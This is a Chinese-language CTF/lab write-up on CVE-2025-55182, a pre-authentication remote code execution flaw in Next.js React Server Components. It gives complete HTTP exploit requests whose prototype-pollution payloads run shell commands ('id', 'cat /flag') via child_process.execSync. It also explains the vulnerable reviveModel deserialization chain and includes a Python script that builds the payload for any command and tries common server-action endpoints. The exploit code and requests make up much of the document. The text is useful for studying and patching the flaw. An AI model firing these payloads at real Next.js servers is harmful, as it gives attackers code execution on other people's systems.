CVE-2025-55182 NextJs无条件RCE漏洞详细【WriteUp】

🧨CVE-2025-55182 NextJs无条件RCE漏洞 🧨

🕵️ 漏洞概述

  • 严重程度: 严重(CVSS评分:10.0)
  • 类型: 预认证远程代码执行漏洞
  • 受影响产品: Nextjs

影响版本

  • Next.js v15.0.0-15.0.4
  • Next.js v15.1.0-15.1.8
  • Next.js v15.2.x-15.5.6
  • Next.js v16.0.0-16.0.6
  • Next.js v14.3.0-canary.77及以上Canary版本

访问靶机

在这里插入图片描述

😊POC

POST /apps HTTP/2
Host: eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 744
Referer: https://eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000/


------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"


{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"


"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"


[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

在这里插入图片描述

😎EXP

POST /apps HTTP/2
Host: eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 751
Referer: https://eci-2ze9tkhgh316io4m8umf.cloudeci1.ichunqiu.com:3000/


------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"


{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"


"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"


[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

在这里插入图片描述

代码审计

关键漏洞代码:reviveModel 函数
漏洞的核心位于 react-server 包中的 ReactFlightReplyServer.js 文件,具体是 reviveModel 函数。

在反序列化过程中,当遇到一个对象时,reviveModel 函数会遍历其所有属性。为了确认一个属性是否真正属于该对象本身(而非从其原型链继承而来),代码使用了 hasOwnProperty 方法进行检查

// packages/react-server/src/ReactFlightReplyServer.js (简化示例)
function reviveModel(...) {
  // ...
  if (typeof value === 'object' && value !== null) {
    for (const key in value) {
      // 漏洞关键点:直接在用户可控的对象上调用 hasOwnProperty
      if (hasOwnProperty.call(value, key)) {
        // ... 递归处理属性值
      }
    }
  }
  return value;
}

问题在于hasOwnProperty 方法本身是 Object.prototype 的一个属性。在JavaScript中,如果一个对象没有自身的 hasOwnProperty 属性,就会沿原型链向上查找。攻击者可以通过精心构造的Payload,控制被检查的对象,并提供一个恶意的 hasOwnProperty 属性,从而完全绕过这个安全检查。

漏洞触发条件与入口

攻击者通过向暴露的服务器函数端点(Server Function Endpoint)发送一个特制的 multipart/form-data 格式的HTTP POST请求来触发漏洞。在默认配置的Next.js应用中,这通常是通过 next-action 头来暴露的。

服务器端的入口函数是 decodeReplyFromBusboy,它负责解析客户端传来的表单数据,并最终调用上述不安全的 reviveModel 逻辑。

漏洞利用链分析

攻击者通过构造一个包含多个“数据块”的恶意请求来实施利用。以下是利用过程的关键步骤分析:

  1. 构造恶意数据块(Chunk):

    • Chunk 0:通常包含一个引导对象。例如,其 then 属性值可能被设置为 “$1:__proto__:then”。这个字符串指示解析器去引用Chunk 1,并访问其 __proto__ 对象的 then 属性。__proto__ 是访问对象原型链的关键。

    • Chunk 1:被设计为一个 “PENDING”状态的块,其值可能包含对Chunk 0的引用(如 “$@0”)。这种循环引用是触发后续回调机制的关键。

  2. 滥用解析与回调机制:

    • 当解析器处理Chunk 0中的 “$1:proto:then” 时,它会尝试获取Chunk 1。由于Chunk 1状态为PENDING,解析器会注册一个回调函数(createModelResolver)到该块的解决队列中。

    • 随后,当解析器处理Chunk 1并解析 “$@0” 引用回Chunk 0时,会触发Chunk 1状态变更,执行之前注册的回调。

  3. 原型链污染与代码执行:

    • 在回调执行路径中,攻击者通过先前设置的 __proto__ 等引用,能够访问并污染被解析对象的原型链。

    • 利用链的最终步骤通常是操纵对象的 constructor.constructor 属性,使其指向JavaScript的 Function 构造函数。这样,攻击者注入在另一个字段(如 _response._prefix)中的字符串代码,就能被当作函数执行,从而实现远程代码执行(RCE)。

一个真实利用载荷的核心部分可能包含类似以下结构的字段

  • then: “$1:proto:then”
  • status: “resolved_model”
  • _response._formData.get: “$1:constructor:constructor”
  • _response._prefix: “恶意JavaScript代码字符串”

基于python的验证脚本

#!/usr/bin/env python3
"""
CVE-2025-55182 (React2Shell) 漏洞验证脚本
用途:检测React服务器组件(RSC)中是否存在原型链污染导致的RCE漏洞
注意:仅用于授权测试和教育目的
CopyRight:Htr
"""

import requests
import json
import sys
import time
from urllib.parse import urljoin

class CVE202555182Exploit:
    def __init__(self, target_url):
        """
        初始化验证器
        
        Args:
            target_url: 目标URL(例如:http://localhost:3000)
        """
        self.target_url = target_url
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': '*/*',
            'Accept-Language': 'en-US,en;q=0.9',
            'Connection': 'keep-alive',
        })
    
    def build_malicious_payload(self, command="id"):
        """
        构造恶意Flight协议载荷
        
        根据漏洞原理,构造包含原型链污染的序列化数据
        这个Payload尝试通过constructor.constructor链执行代码
        
        Args:
            command: 要执行的命令(默认:id)
        
        Returns:
            dict: 构造的恶意载荷
        """
        # 构建恶意Flight序列化结构
        # 这里模拟了漏洞利用中的关键数据块
        malicious_payload = {
            "0": ["$@1", {
                "then": "$1:__proto__:then",
                "_response": {
                    "_formData": {
                        "get": "$1:constructor:constructor"
                    },
                    "_prefix": f"console.log(require('child_process').execSync('{command}').toString())"
                }
            }],
            "1": ["$@0", {
                "status": "pending",
                "__proto__": {
                    "then": None,
                    "constructor": {
                        "constructor": None
                    }
                }
            }],
            "modelRoot": ["$@0"],
            "formData": {
                "boundary": "----WebKitFormBoundaryExploit",
                "__proto__": {"polluted": True}
            }
        }
        
        return malicious_payload
    
    def check_vulnerability(self, endpoint="/_next/action"):
        """
        检查目标是否易受攻击
        
        Args:
            endpoint: 服务器函数端点路径
        
        Returns:
            bool: 是否存在漏洞
            str: 响应信息
        """
        target_endpoint = urljoin(self.target_url, endpoint)
        
        # 构建恶意请求
        boundary = "----WebKitFormBoundaryExploit"
        payload = self.build_malicious_payload("echo 'VULNERABLE'")
        
        # 构造multipart/form-data
        body_parts = []
        
        # 添加恶意JSON部分
        body_parts.append(f'--{boundary}')
        body_parts.append('Content-Disposition: form-data; name="0"')
        body_parts.append('Content-Type: application/json')
        body_parts.append('')
        body_parts.append(json.dumps(payload["0"]))
        
        body_parts.append(f'--{boundary}')
        body_parts.append('Content-Disposition: form-data; name="1"')
        body_parts.append('Content-Type: application/json')
        body_parts.append('')
        body_parts.append(json.dumps(payload["1"]))
        
        body_parts.append(f'--{boundary}')
        body_parts.append('Content-Disposition: form-data; name="modelRoot"')
        body_parts.append('Content-Type: application/json')
        body_parts.append('')
        body_parts.append(json.dumps(payload["modelRoot"]))
        
        body_parts.append(f'--{boundary}--')
        body_parts.append('')
        
        body = '\r\n'.join(body_parts)
        
        headers = {
            'Content-Type': f'multipart/form-data; boundary={boundary}',
            'next-action': '1',  # 触发服务器函数
            'Accept': 'text/x-component',
        }
        
        try:
            print(f"[*] 发送恶意请求到: {target_endpoint}")
            print(f"[*] 使用的边界符: {boundary}")
            print(f"[*] Payload结构: {json.dumps(payload, indent=2)[:500]}...")
            
            response = self.session.post(
                target_endpoint,
                data=body,
                headers=headers,
                timeout=30,
                verify=False  # 仅用于测试环境
            )
            
            print(f"[*] 响应状态码: {response.status_code}")
            print(f"[*] 响应头: {dict(response.headers)}")
            print(f"[*] 响应体(前500字符): {response.text[:500]}")
            
            # 检测漏洞的迹象
            vulnerability_indicators = [
                response.status_code == 500 and "proto" in response.text.lower(),
                "constructor" in response.text,
                "__proto__" in response.text,
                response.status_code == 200 and "execSync" in response.text,
                "child_process" in response.text,
            ]
            
            if any(vulnerability_indicators):
                return True, f"目标可能易受攻击!响应包含漏洞迹象。"
            elif response.status_code in [400, 500]:
                # 服务器错误可能是由恶意载荷引起的
                return True, f"服务器返回错误状态码 {response.status_code},可能受到载荷影响。"
            else:
                return False, f"未发现明显的漏洞迹象。"
                
        except requests.exceptions.RequestException as e:
            return False, f"请求失败: {str(e)}"
        except Exception as e:
            return False, f"发生错误: {str(e)}"
    
    def test_command_injection(self, command="whoami", endpoint="/_next/action"):
        """
        测试命令注入(谨慎使用)
        
        Args:
            command: 要测试的命令
            endpoint: 服务器函数端点
        
        Returns:
            bool: 是否成功执行
            str: 命令输出或错误信息
        """
        print(f"[!] 警告:正在尝试命令执行测试: {command}")
        print(f"[!] 这可能会对目标系统造成影响,请确保已获得授权")
        
        target_endpoint = urljoin(self.target_url, endpoint)
        payload = self.build_malicious_payload(command)
        
        # 这里简化为发送请求
        # 实际利用需要更精确的Flight协议编码
        try:
            response = self.session.post(
                target_endpoint,
                json=payload,  # 简化为JSON请求
                headers={'next-action': '1'},
                timeout=30,
                verify=False
            )
            
            if response.status_code == 200:
                return True, f"请求成功,可能需要进一步分析响应"
            else:
                return False, f"请求失败,状态码: {response.status_code}"
                
        except Exception as e:
            return False, f"命令注入测试失败: {str(e)}"
    
    def fingerprint_react_version(self):
        """
        指纹识别React版本
        
        Returns:
            dict: 版本信息
        """
        endpoints_to_check = [
            "/_next/static/chunks/react-server-dom-webpack-client.js",
            "/_next/static/development/_ssgManifest.js",
            "/_next/static/chunks/main.js",
        ]
        
        version_indicators = {
            "19.0.0": ["react@19.0.0", "React 19"],
            "19.1.0": ["react@19.1.0", "useActionState"],
            "19.2.0": ["react@19.2.0", "useOptimistic"],
        }
        
        detected_versions = []
        
        for endpoint in endpoints_to_check:
            try:
                url = urljoin(self.target_url, endpoint)
                response = self.session.get(url, timeout=10, verify=False)
                
                if response.status_code == 200:
                    content = response.text
                    for version, indicators in version_indicators.items():
                        for indicator in indicators:
                            if indicator in content:
                                detected_versions.append(version)
                                print(f"[+] 检测到可能的React版本: {version} 在 {endpoint}")
                                break
            except:
                continue
        
        return {"detected_versions": list(set(detected_versions))}

def main():
    """主函数"""
    print("=" * 60)
    print("CVE-2025-55182 (React2Shell) 漏洞验证脚本")
    print("用途:检测React服务器组件中的RCE漏洞")
    print("警告:仅用于授权测试和教育目的")
    print("=" * 60)
    
    if len(sys.argv) < 2:
        print(f"使用方法: {sys.argv[0]} <目标URL>")
        print(f"示例: {sys.argv[0]} http://localhost:3000")
        sys.exit(1)
    
    target_url = sys.argv[1]
    exploit = CVE202555182Exploit(target_url)
    
    # 1. 指纹识别
    print("\n[阶段1] React版本指纹识别")
    fingerprint_result = exploit.fingerprint_react_version()
    
    if fingerprint_result["detected_versions"]:
        print(f"[!] 检测到可能受影响的版本: {fingerprint_result['detected_versions']}")
        print("[!] 这些版本可能易受CVE-2025-55182攻击")
    else:
        print("[*] 未检测到明确的React版本信息")
    
    # 2. 漏洞检查
    print("\n[阶段2] 漏洞存在性检查")
    
    # 尝试多个可能的端点
    possible_endpoints = [
        "/_next/action",
        "/api/_action",
        "/action",
        "/rsc",
        "/_rsc"
    ]
    
    vulnerable = False
    for endpoint in possible_endpoints:
        print(f"\n[*] 测试端点: {endpoint}")
        is_vuln, message = exploit.check_vulnerability(endpoint)
        
        if is_vuln:
            print(f"[!] 发现漏洞迹象: {message}")
            vulnerable = True
            break
        else:
            print(f"[*] 未发现漏洞: {message}")
    
    # 3. 输出报告
    print("\n" + "=" * 60)
    print("漏洞验证报告")
    print("=" * 60)
    
    if vulnerable:
        print("结果: ❌ 目标可能易受CVE-2025-55182攻击")
        print("\n建议立即采取的措施:")
        print("1. 升级React到安全版本(19.0.1/19.1.2/19.2.1或更高)")
        print("2. 升级Next.js到16.0.7或更高版本")
        print("3. 实施WAF规则拦截恶意RSC请求")
        print("4. 监控服务器日志中的异常活动")
    else:
        print("结果: ✅ 未发现明显的漏洞迹象")
        print("\n注意:此检查不能保证100%准确")
        print("建议仍升级到最新安全版本")
   
if __name__ == "__main__":
    main()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Htr_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值